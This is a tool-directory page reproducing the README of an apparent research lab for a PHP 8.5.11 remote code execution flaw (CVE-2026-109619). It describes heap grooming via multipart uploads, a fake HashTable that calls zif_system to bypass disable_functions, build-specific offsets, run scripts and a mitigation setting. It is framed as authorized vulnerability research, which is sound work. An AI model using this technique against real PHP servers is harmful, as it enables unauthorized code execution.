Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
php-cve-2026-109619-lab — Docker-based lab reproducing CVE-2026-109619, a PHP 8.5.11 RCE via stale session global state, with multipart PoC scripts, /proc address resolution, and mitigation checks. | Kitploit
Tools/GitHubGitHub/baimaobg/php-cve-2026-109619-lab
Container SecurityMemory ForensicsVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
Share
GitHubbaimaobg/php-cve-2026-109619-lab

php-cve-2026-109619-lab

Docker-based lab reproducing CVE-2026-109619, a PHP 8.5.11 RCE via stale session global state, with multipart PoC scripts, /proc address resolution, and mitigation checks.

View Repository
11 month agoNot yet reviewed

fin3 — CVE-2026-109619 PHP 8.5.11 RCE Lab

For authorized security testing and vulnerability research only.
This project triggers PHP memory corruption and executes id-type commands inside an isolated Docker container. Do not use it against unauthorized systems, and do not expose 9876 to the public internet. By default it binds only to 127.0.0.1.

This is a self-contained lab project for reproducing the exploit chain of CVE-2026-109619 (RCE via stale global state) under PHP 8.5.11 NTS + Apache 2.4.69 mod_php + prefork single worker.

The target page is a zero-functionality page:

<?php echo "OK\n"; ?>

不依赖 LFI、unserialize()、应用上传功能、路由或文件植入。入口在 PHP 内核的 session.upload_progress 生命周期和 SAPI 层 multipart 解析。


1. 快速开始

环境要求

  • Linux x86_64 主机(脚本需要读取宿主机 /proc/<worker>/maps)
  • Docker
  • Python 3
  • curl
  • 建议以 root 运行(/proc/<pid>/mem 的读取和 docker top 会更稳定)
  • 首次运行需要网络拉取 php:8.5.11-apache

启动环境

git clone <your-repo-url> fin3
cd fin3
./start-lab.sh

The script will:

  • Build fin3-php8511:latest from ./Dockerfile;
  • Start the container fin3-php8511;
  • Port 127.0.0.1:9876;
  • Wait for HTTP readiness and print the PHP configuration.

Trigger RCE

./trigger-rce.sh

On success, you should see:

MARKER=uid=33(www-data) gid=33(www-data) groups=33(www-data)
CHAIN_OK
[+] RCE marker observed.

Verification:

docker exec fin3-php8511 cat /tmp/fin3

Expected:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cleanup:

docker rm -f fin3-php8511

2. Script Description

start-lab.sh

Only responsible for building the image and starting Docker; it does not send PoC requests.

./start-lab.sh
REBUILD=1 ./start-lab.sh      # 强制重新构建镜像
PORT=9876 ./start-lab.sh       # 修改宿主机端口

Each startup deletes and recreates the container named fin3-php8511 and does not affect other containers.

If you change the container name or port, keep them consistent when triggering:

NAME=myfin PORT=9877 ./start-lab.sh
NAME=myfin PORT=9877 ./trigger-rce.sh

trigger-rce.sh

Only sends requests to already running containers; does not start Docker.

./trigger-rce.sh              # MODE=zif,期望 RCE
ATTEMPTS=1 ./trigger-rce.sh   # 只跑一次
MODE=neg ./trigger-rce.sh     # CTORADDR=0 负面对照
MODE=abort ./trigger-rce.sh   # abort@plt 控制

By default, at most ATTEMPTS=8 times. For the reason, see FAQ.

After success or failure, the container is retained by default, making it easy to inspect /tmp/fin3. To enable automatic cleanup:

REMOVE=1 ./trigger-rce.sh

Mitigation Comparison

MITIGATE=1 ./start-lab.sh
./trigger-rce.sh

start-lab.sh will set session.upload_progress.enabled to 0. trigger-rce.sh will automatically recognize Off and judge it according to the "no marker" expectation.


3. Vulnerability Principle

3.1 Root Cause

The core of CVE-2026-109619 is:

Some of PHP's request-owned global state remains retained by the worker after the request heap is freed; subsequent requests read or branch on this stale state before normal initialization.

This lab uses the PS(http_session_vars) path.

3.2 Phase A: Creating a Dangling Reference

Request A sends approximately 25 MB of multipart:

PHPSESSID=a*100
PHP_SESSION_UPLOAD_PROGRESS=p*p*p
f=file(a.txt)
big=B*24MB

在 memory_limit=16M 下,rfc1867_post_handler 在 php_request_startup() 内发生 OOM。 longjmp() 提前退出,匹配的 reset 没有执行;请求堆释放后,worker 的 PS(http_session_vars) 仍指向已释放的 zend_reference。

3.3 Phase B:reclaim + 伪造

请求 B 约 28 KB:

  • 200 个 31 字节 live 值字符串:抢占悬空 reference 所在 bin;
  • 80 个 fill 字段:调整空闲链表;
  • 8 个 mask 字段:挤开 session id 相关分配;
  • SIDLEN=100:控制 PS(id) 分配位置;
  • 55/31 字节 fake reference:让 PS(http_session_vars) 指向可控结构;
  • 167 字节 fake HashTable:pDestructor = zif_system。

最终路径:

php_session_rfc1867_cleanup
  -> php_session_initialize
  -> php_session_track_init
  -> zend_hash_destroy
  -> pDestructor(...)
  -> zif_system("id>/tmp/fin3")

disable_functions contains system, but here the zif_system handler is called directly, bypassing the function disable table.

3.4 Key offsets

Built for php:8.5.11-apache:

Symbol/StructureOffset
zif_systemlibphp.so + 0x5996e0
abort@pltlibphp.so + 0x18ab90
fake HashTable dataZend MM chunk +0x7e0d8
PS(http_session_vars) / R0Zend MM chunk +0x7a6e0

Offsets are specific to the build. They need to be recalibrated when changing the PHP image, distribution, or compilation options.

3.5 lab-assisted limitations

The LIBPHP and CHUNK addresses come from the host machine:

/proc/<worker_pid>/maps

This is lab-assisted, not a pure remote, ASLR-independent exploit. A real remote attack still requires an address leak primitive; the upstream public repository also explicitly lists this as an unresolved issue.


4. Packet Capture

The port is 9876. tcpdump requires root or CAP_NET_RAW.

Terminal 1: Start the Environment

./start-lab.sh

Terminal 2: Packet Capture

sudo tcpdump -i lo -nn -s 0 \
  -w /tmp/fin3-9876.pcap \
  'tcp port 9876'

If lo cannot be captured, use -i any instead.

Terminal 3: Trigger

ATTEMPTS=1 ./trigger-rce.sh

If you encounter ADDR_RESOLVE_FAILED, simply rerun the same command.

After stopping packet capture, check:

tcpdump -r /tmp/fin3-9876.pcap -nn -A 'tcp port 9876' | less

Or view only the key fields:

strings /tmp/fin3-9876.pcap | \
  grep -E 'POST /index.php|PHPSESSID|PHP_SESSION_UPLOAD_PROGRESS|HTTP/1.1' | head -60

Wireshark display filters:

http.request.method == "POST"

Phase A is about 25 MB per run, so the capture file will be relatively large; when only analyzing the protocol format, you can add -s 200 to keep only the header.


5. Project Structure

fin3/
├── Dockerfile
├── start-lab.sh           # 构建 + 启动 Docker
├── trigger-rce.sh         # 触发 Phase A/B
├── lab/
│   ├── index.php          # 零功能页面
│   ├── lab.ini            # PHP 配置
│   ├── lab-no-progress.ini# 缓解配置
│   └── mpm_prefork.conf   # 单 worker prefork
├── poc/
│   ├── chain_runner.sh      # Phase A/B 编排、地址解析、marker
│   ├── multipart_builder.py # multipart 构造
│   └── address_resolver.py  # /proc 地址解析
├── README.md
├── NOTICE.md
├── SECURITY.md
└── LICENSE

6. Configuration

lab/lab.ini:

memory_limit=16M
post_max_size=32M
upload_max_filesize=32M
max_input_nesting_level=64
session.upload_progress.enabled=1
session.upload_progress.cleanup=1
session.save_path=/tmp
expose_php=0
display_errors=1
display_startup_errors=1
log_errors=1
error_log=/proc/self/fd/2
allow_url_fopen=0
allow_url_include=0
disable_functions=exec,system,shell_exec,passthru,proc_open,popen,pcntl_exec,dl

lab/mpm_prefork.conf:

<IfModule mpm_prefork_module>
    StartServers             1
    MinSpareServers          1
    MaxSpareServers          1
    ServerLimit              1
    MaxRequestWorkers        1
    MaxConnectionsPerChild   0
</IfModule>

7. FAQ

ADDR_RESOLVE_FAILED / CHUNK_CANDIDATES=[]

After Phase A, the worker's Zend MM chunk timing is occasionally unstable. trigger-rce.sh retries up to 8 times by default, restarting the container each time to get a fresh worker. To run only once, use ATTEMPTS=1.

docker: command not found

Install Docker first, and make sure the current user can execute docker ps.

container does not become ready

Check docker logs fin3-php8511, and confirm that port 9876 on the host is not in use.

/proc/<pid>/mem read failure

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    436
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    386

Explore all tools

Browse our collection of tools

View all tools →